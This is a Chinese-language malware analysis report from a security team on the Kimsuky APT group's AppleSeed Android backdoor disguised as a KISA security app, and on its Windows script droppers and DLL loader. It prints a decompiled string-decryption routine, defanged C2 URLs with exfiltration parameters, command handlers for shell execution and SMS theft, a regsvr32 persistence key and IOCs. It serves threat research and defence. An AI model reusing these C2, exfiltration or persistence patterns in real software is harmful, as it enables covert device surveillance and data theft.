Kimsuky APT組織使用新型的AppleSeed Android元件偽裝成安全軟體對韓特定目標進行攻擊

Gcow安全團隊發表於2021-05-14

Kimsuky APT組織使用新型的AppleSeed Android元件偽裝成安全軟體對韓特定目標進行攻擊

本文一共2922字,36張圖 預計閱讀時間13分鐘

一.前言:

kimsuky APT組織(又名Mystery Baby, Baby Coin, Smoke Screen, BabyShark, Cobra Venom) ,該組織一直針對於韓國的智囊團,政府組織,新聞組織,大學教授等等進行活動.並且該組織擁有windows平臺的攻擊能力,載荷便捷,階段繁多。並且該組織十分活躍.其載荷有帶有漏洞的hwp檔案,攜帶惡意宏文件,釋放dll載荷的PE檔案,遠端模板注入技術docx文件,惡意的wsf以及js的指令碼檔案

近日,Gcow安全團隊追影小組在日常的檔案監控中發現該組織正在積極的使用分階段的惡意宏文件,惡意的wsf以及js檔案釋放並載入載荷同時釋放並開啟相關的誘餌文件以迷惑受害者以及部分模板注入技術的相關樣本。同時我們也發現了其使用冒充KISA(Korea Internet & Security Agency)的官方安卓端安全檢查軟體針對特定目標進行釣魚的活動,同時根據我們的分析發現其APK載荷與該組織之前一直在使用的AppleSeed(又名AutoUpdate)元件有很強的關聯性,所以我們猜測該APK屬於AppleSeed元件集下的Android攻擊載荷。

故此我們判斷該組織已經具有了Windows,MacOs,Android的攻擊能力,並且將在未來的一段時期持續的活躍。

二.樣本分析:

該惡意APP偽裝成KISA的安卓端安全檢查軟體

圖1 圖示偽造KISA的安卓端安全軟體

執行之後申請相關的許可權,彈出介面以迷惑受害者:

圖2 彈出相關的頁面以迷惑受害人

LaunchActivityonCreate 方法中,啟動了 MainService 服務。 圖3 啟動MainService服務 MainService 中,字串經過了加密,對關鍵字串解密後,可得到上傳資料的 url  

解密程式碼如下  

public static void decrypt(String arg10) {
   String v0_2;
   int v5;
   try {
       int v0 = arg10.length();
       int v1 = v0 / 2;
       byte[] v2 = new byte[v1];
       int v3 = 0;
       int v4;
       for(v4 = 0; true; v4 += 2) {
           v5 = 16;
           if(v4 >= v0) {
               break;
           }

           v2[v4 / 2] = ((byte)((Character.digit(arg10.charAt(v4), v5) << 4) + Character.digit(arg10.charAt(v4 + 1), v5)));
       }

       v1 -= v5;
       byte[] v10 = new byte[v1];
       byte[] v0_1 = new byte[v5];
       System.arraycopy(v2, 0, v0_1, 0, v5);
       v4 = 0;
       int v6;
       int v8;
       for(v6 = 0; v3 < v1; v6 = v8) {
           if(v4 >= v5) {
               v4 += -16;
           }

           int v7 = v3 + 16;
           v8 = v2[v7];
           v10[v3] = ((byte)(v6 ^ (v2[v7] ^ v0_1[v4])));
           ++v3;
           ++v4;
       }

       v0_2 = new String(v10, StandardCharsets.UTF_8);
   }
   catch(Exception e) {
       v0_2 = "";
   }
   System.out.println(v0_2);
   return;
}

hxxp://download.riseknite.life/index.php

然後把 url 傳入了 c.c.a.c 方法,並使用 scheduleAtFixedRate設定每分鐘執行一次

圖4 將c2解密後傳到主體函式中

在 c.c.a.c 中,並行執行了兩個方法 d() 和 c.c.a.e.c(),分別檢視邏輯

d()主要是取得一些裝置資訊,並 POST 傳送資料。

hxxp://download.riseknite.life/index.php?m=a&p1={url 編碼後的 android_id}&p2={裝置型號 }+{SDK 版本}+{後門版本號}

引數
ma
p1url 編碼後的 android_id
p2裝置型號 + SDK 版本 + 後門版本號

圖6 收集資訊並向C2傳送報文

c.c.a.e.c() 先建立了一個臨時檔案 cmd_xxxxx.dat(以下檔案不特殊說明均為臨時檔案,注意:[xxxxx為五位字元數字的隨機檔名]) ,然後下載資料寫入檔案

hxxp://download.riseknite.life/index.php?m=c&p1={url 編碼後的 android_id}

hxxp://download.riseknite.life/index.php?m=d&p1={url 編碼後的 android_id}

引數
mc,d
p1url 編碼後的 android_id
返回值檔案資料

圖7 創造臨時檔案併傳送報文

新建 a 物件並把剛才下載的資料傳入 a 方法, a 方法中對 dat 的內容進行了解析  

資料大小
指令型別(1-8)int
指令組數量int
第一組指令長度int
指令內容byte[]
第二組指令長度int
指令內容byte[]
......

圖片8 接受回顯資料

圖片9 解析下載的檔案資料

最終呼叫 a.d() 方法,a.d() 會根據指令型別執行相應的操作  

指令型別為 1 時,會提醒使用者更新並進行更新操作  

圖片10 提醒使用者更新並進行更新

指令型別為 2 時,a.d() 建立了 list.xlszip.dat ,並遍歷/sdcard目錄及其子資料夾下的所有檔案,把檔案資訊寫入了 list.xls  

NAMESIZELAST MODIFIEDPATH
檔名檔案大小(按KB計算)修改時間絕對路徑

list.xls 經過壓縮,寫入 zip.dat ,並在 c.b.a.a.a.u() 中偽裝了 pdf 檔案頭並加密內容,逃避沙箱對流量的檢測  

呼叫 c.d( url , 日期 , 檔案路徑 ) 上傳,url 的引數如下

hxxp://download.riseknite.life/index.php?m=b&p1={url 編碼後的 android_id}&p2=a

引數
mb
p1android_id
p2a

圖片11 遍歷檔案資訊並且將其打包

圖片12 偽造pdf的檔案頭並且加密相關資料

c.d() 對檔案進行了分塊上傳,以 “$$$$$$$$$$$$$$$$” 為分隔符

圖片13 對資料進行分塊上傳

指令型別為 3 時,上傳指定的檔案

圖片14 上傳指定的檔案

指令型別為 4 時,使用 " sh -c "cmd_xxxxx.dat 的內容進行執行,把執行結果寫入cmd_xxxxx.txt ,經過相同的偽裝,呼叫 c.d() 上傳  

hxxp://download.riseknite.life/index.php?m=b&p1={url 編碼後的 android_id}&p2=b

引數
mb
p1android_id
p2b

圖片15 使用sh -c執行cmd.dat並將回顯內容寫入並上傳

指令型別為 5 時,建立 sms.txt ,呼叫安卓簡訊協議,獲取資訊寫入 sms.txt  

日期 型別(收到/傳送) 傳送/接受人手機號碼 簡訊內容

然後偽裝,上傳  

hxxp://download.riseknite.life/index.php?m=b&p1={url 編碼後的 android_id}&p2=c

引數
mb
p1android_id
p2c

圖片16 將獲取的資訊寫入sms.txt並且上傳資料

指令型別為 6 和 7 時分別清除 app 的資料和快取

圖片17 清除APP的資料以及快取


指令型別為 8 時,傳送簡訊

圖片18 向特定的人傳送簡訊

指令id功能
1提醒使用者更新並進行更新操作
2收集/sdcard目錄下的檔案的資訊壓縮後偽裝並且上傳
3上傳指定的檔案
4執行命令並將回顯壓縮後偽裝上傳
5呼叫安卓簡訊協議,獲取資訊寫入 sms.txt,偽裝後傳送給c2
6&7清除app的快取與資料
8傳送簡訊給特定的目標

圖片19 AppleSeed Android元件流程圖

此外我們還觀察到奇安信紅雨滴實驗室在其推特上公開了該組織的js樣本(參考連結見尾部)

圖片20 紅雨滴團隊公開kimsuky的js樣本

其js程式碼的主要功能就是將誘餌文件以及加upx的AppleSeed載荷寫入%ProgramData%下,並且呼叫certutil.exe解密,然後執行誘餌文件以迷惑受害者,呼叫regsvr32.exe /s載入AppleSeed載荷

圖片21 Js Dropper的載荷釋放主體程式碼

其顯示的誘餌文件截圖如下:

圖片22 誘餌文件截圖

其話題主要關於韓國外交部海外任務服務狀況的調查表。而在今年三月份的時候我們也觀察到其使用wsf指令碼釋放相應的載荷,其相關程式碼與js的釋放物相似,故此不再贅述,其釋放的誘餌關於韓國國防部空軍Wargame模型的改進計劃內容以針對該國的國防工業

圖片23 誘餌文件截圖

AppleSeed載入器分析:

呼叫解密函式解密相關的字串變數,寫登錄檔項,創造新鍵以達到許可權維持的效果。鍵名:WindowsDefenderAutoUpdate,鍵值:regsvr32.exe /s "C:\ProgramData\Software\Microsoft\Windows\Defender\AutoUpdate.dll

圖片24 寫登錄檔達到許可權維持

獲取當前檔案路徑並且複製當前檔案到C:\ProgramData\Software\Microsoft\Windows\Defender\AutoUpdate.dll

圖片25 複製當前檔案到目標目錄

創造名為DropperRegsvr32-20210418013743的互斥體並且防止其多開

圖片26 創造互斥體

啟動主要功能執行緒:

圖片27 啟動執行緒

主要功能執行緒:

圖片28 主要功能執行緒

獲取系統所在磁碟機代號以及其所在磁碟機代號驅動器的卷標序列號,並且將其取hex後取前八位

圖片29 獲取卷標序列化

解密C2後將資訊進行拼接

onedrive-upload.ikpoo.cf/?m=c&p1={C盤卷標序列號}

onedrive-upload.ikpoo.cf/?m=d&p1={C盤卷標序列號}

圖片30 解密c2後將所收集的資訊拼接

將其傳送到C2並將回顯資料寫入%temp%\xxxx.tmp注意:[xxxx為前兩位數字後兩位字母的隨機檔名]

圖片31 將資料傳送到c2等待期寫入xxxx.tmp中

收集系統資訊並且進行篩選再依據格式Win%d.%d.%d%s進行格式化

圖片32 收集系統資訊

解密相關配置資料,根據形式/?m=a&p1={C盤卷標序列號}&p2={系統位數名稱}-{downloader名稱}-v{後門版本號}拼接報文格式

onedrive-upload.ikpoo.cf/?p1={C盤卷標序列號}&p2={系統位數名稱}-D_Regsvr32-v2.0.74

圖片33 拼接上線資料包

將資料包傳送到c2上

圖片34 傳送上線包

三.樣本關聯:

1.報文相似性

其二者在報文的引數上都以m=a&p1=,m=c&p1=,m=d&p1=進行相關的傳參,同時其p2的第一個引數以及第三個引數分別都為所收集到的本機資訊以及其後門的版本號.且p1都是根據本身的獨特序列號以及id所構成的唯一認證因素,所以二者在流量報文的指令碼上具有一定的相似性

圖片35 報文的相似性

2.解密程式碼的相似性

二者的解密程式碼具體一定的相似性也成為二者被歸因到一類惡意軟體的一項重要的指標。不過由於dll使用了大量的程式碼流平坦化,導致解密函式的流程被嚴重的混淆,故此不能作為很強的歸因形式.不過根據APK所提供的解密演算法可以還原dll檔案中的相關密文。

四.結語

KimsukyAPT組織作為東北亞地區最為活躍的APT組織之一,其一直在更新自己的相關武器庫以及更新其載荷的植入方式不斷追求逃脫防毒軟體的檢測。如下圖,本文提到的APK木馬當其剛上傳到Virustotal平臺的時候,其殺軟檢測的狀況為:0/63。該組織也成為了東北亞地區地緣政治下的網路威脅的焦點,當然這值得我們去更多關注該組織的活動,Gcow安全團隊追影小組將繼續跟蹤該組織更多的動向。


五.IOCs:

Script Dropper:

3A4AB11B25961BECECE1C358029BA611(2021 외교부 재외공관 복무관련 실태 조사 설문지.hwp.js)

14B95DC99E797C6C717BF68440EAE720(창공모델 성능개량 체계개발사업 현장확인자료 - 협력업체 배포용.wsf)

AppleSeed Dll implant:

80A2BB7884B8BAD4A8E83C2CB03EE343(AutoUpdate.dll)

A03598CD616F86998DAEF034D6BE2EC5(temp.db)

AppleSeed Android:

4626ED60DFC8DEAF75477BC06BD39BE7(KisaAndroidSecurity.apk)

C2:

download.riseknite.life

onedrive-upload.ikpoo.cf

alps.travelmountain.ml

六.參考連結以及引用

  • blog.alyac.co.kr/3536

  • twitter.com/RedDrip7/status/1386165998709972995

  • twitter.com/issuemakerslab/status/1385712773024210944

  • twitter.com/unpacker/status/1377796351589642241


相關文章